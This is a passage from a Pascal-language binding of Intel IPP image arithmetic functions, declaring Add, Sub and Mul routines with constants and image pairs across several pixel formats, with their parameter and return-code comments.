Name: ippiAddC_8u_C1RSfs, ippiAddC_8u_C3RSfs, ippiAddC_8u_C4RSfs ippiAddC_8u_AC4RSfs,
ippiAddC_16s_C1RSfs, ippiAddC_16s_C3RSfs, ippiAddC_16s_C4RSfs, ippiAddC_16s_AC4RSfs,
ippiAddC_16u_C1RSfs, ippiAddC_16u_C3RSfs, ippiAddC_16u_C4RSfs, ippiAddC_16u_AC4RSfs,
ippiSubC_8u_C1RSfs, ippiSubC_8u_C3RSfs, ippiSubC_8u_C4RSfs, ippiSubC_8u_AC4RSfs,
ippiSubC_16s_C1RSfs, ippiSubC_16s_C3RSfs, ippiSubC_16s_C4RSfs, ippiSubC_16s_AC4RSfs,
ippiSubC_16u_C1RSfs, ippiSubC_16u_C3RSfs, ippiSubC_16u_C4RSfs, ippiSubC_16u_AC4RSfs,
ippiMulC_8u_C1RSfs, ippiMulC_8u_C3RSfs, ippiMulC_8u_C4RSfs, ippiMulC_8u_AC4RSfs,
ippiMulC_16s_C1RSfs, ippiMulC_16s_C3RSfs, ippiMulC_16s_C4RSfs, ippiMulC_16s_AC4RSfs
ippiMulC_16u_C1RSfs, ippiMulC_16u_C3RSfs, ippiMulC_16u_C4RSfs, ippiMulC_16u_AC4RSfs
Purpose: Adds, subtracts, or multiplies pixel values of a source image
and constant : a ; and places the scaled results in the destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
value Constant value (constant vector for multi-channel images)
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiAddC_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_C4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_C4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_C4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAddC_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_C4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_C4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_C4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSubC_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_C4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; value : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_C4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_4 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; const value : Ipp16s_3 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_C4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMulC_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAdd_8u_C1IRSfs, ippiAdd_8u_C3IRSfs, ippiAdd_8u_C4IRSfs, ippiAdd_8u_AC4IRSfs,
ippiAdd_16s_C1IRSfs, ippiAdd_16s_C3IRSfs, ippiAdd_16s_C4IRSfs, ippiAdd_16s_AC4IRSfs,
ippiAdd_16u_C1IRSfs, ippiAdd_16u_C3IRSfs, ippiAdd_16u_C4IRSfs, ippiAdd_16u_AC4IRSfs,
ippiSub_8u_C1IRSfs, ippiSub_8u_C3IRSfs, ippiSub_8u_C4IRSfs, ippiSub_8u_AC4IRSfs,
ippiSub_16s_C1IRSfs, ippiSub_16s_C3IRSfs, ippiSub_16s_C4IRSfs ippiSub_16s_AC4IRSfs,
ippiSub_16u_C1IRSfs, ippiSub_16u_C3IRSfs, ippiSub_16u_C4IRSfs ippiSub_16u_AC4IRSfs,
ippiMul_8u_C1IRSfs, ippiMul_8u_C3IRSfs, ippiMul_8u_C4IRSfs, ippiMul_8u_AC4IRSfs,
ippiMul_16s_C1IRSfs, ippiMul_16s_C3IRSfs, ippiMul_16s_C4IRSfs, ippiMul_16s_AC4IRSfs
ippiMul_16u_C1IRSfs, ippiMul_16u_C3IRSfs, ippiMul_16u_C4IRSfs, ippiMul_16u_AC4IRSfs
Purpose: Adds, subtracts, or multiplies pixel values of two source images
and places the scaled results in the first source image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
pSrc Pointer to the second source image
srcStep Step through the second source image
pSrcDst Pointer to the first source/destination image
srcDstStep Step through the first source/destination image
roiSize Size of the ROI
scaleFactor Scale factor
}
function ippiAdd_8u_C1IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_C3IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_C4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_8u_AC4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C1IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C3IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_C4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16s_AC4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C1IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C3IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_C4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiAdd_16u_AC4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C1IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C3IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_C4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_8u_AC4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C1IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C3IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_C4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16s_AC4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C1IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C3IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_C4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSub_16u_AC4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C1IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C3IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_C4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_8u_AC4IRSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C1IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C3IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_C4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16s_AC4IRSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C1IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C3IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_C4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiMul_16u_AC4IRSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddC_32f_C1R, ippiAddC_32f_C3R, ippiAddC_32f_C4R, ippiAddC_32f_AC4R,
ippiSubC_32f_C1R, ippiSubC_32f_C3R, ippiSubC_32f_C4R, ippiSubC_32f_AC4R,
ippiMulC_32f_C1R, ippiMulC_32f_C3R, ippiMulC_32f_C4R, ippiMulC_32f_AC4R
Purpose: Adds, subtracts, or multiplies pixel values of a source image
and a constant, and places the results in a destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
value The constant value for the specified operation
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
}
function ippiAddC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_4 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddC_32f_C1IR, ippiAddC_32f_C3IR, ippiAddC_32f_C4IR, ippiAddC_32f_AC4IR,
ippiSubC_32f_C1IR, ippiSubC_32f_C3IR, ippiSubC_32f_C4IR, ippiSubC_32f_AC4IR,
ippiMulC_32f_C1IR, ippiMulC_32f_C3IR, ippiMulC_32f_C4IR, ippiMulC_32f_AC4IR
Purpose: Adds, subtracts, or multiplies pixel values of an image
and a constant, and places the results in the same image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr Pointer is NULL
ippStsSizeErr Width or height of an image is less than or equal to zero
Parameters:
value The constant value for the specified operation
pSrcDst Pointer to the image
srcDstStep Step through the image
roiSize Size of the ROI
}
function ippiAddC_32f_C1IR( value : Ipp32f ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_C3IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_C4IR(const value : Ipp32f_4 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddC_32f_AC4IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C1IR( value : Ipp32f ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C3IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_C4IR(const value : Ipp32f_4 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSubC_32f_AC4IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C1IR( value : Ipp32f ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C3IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_C4IR(const value : Ipp32f_4 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulC_32f_AC4IR(const value : Ipp32f_3 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAdd_32f_C1IR, ippiAdd_32f_C3IR, ippiAdd_32f_C4IR, ippiAdd_32f_AC4IR,
ippiSub_32f_C1IR, ippiSub_32f_C3IR, ippiSub_32f_C4IR, ippiSub_32f_AC4IR,
ippiMul_32f_C1IR, ippiMul_32f_C3IR, ippiMul_32f_C4IR, ippiMul_32f_AC4IR
Purpose: Adds, subtracts, or multiplies pixel values of two source images
and places the results in the first image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr Width or height of images is less than or equal to zero
Parameters:
pSrc Pointer to the second source image
srcStep Step through the second source image
pSrcDst Pointer to the first source/destination image
srcDstStep Step through the first source/destination image
roiSize Size of the ROI
}
function ippiAdd_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSub_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMul_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAdd_32f_C1R, ippiAdd_32f_C3R, ippiAdd_32f_C4R, ippiAdd_32f_AC4R,
ippiSub_32f_C1R, ippiSub_32f_C3R, ippiSub_32f_C4R, ippiSub_32f_AC4R,
ippiMul_32f_C1R, ippiMul_32f_C3R, ippiMul_32f_C4R, ippiMul_32f_AC4R
Purpose: Adds, subtracts, or multiplies pixel values of two
source images and places the results in a destination image.
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
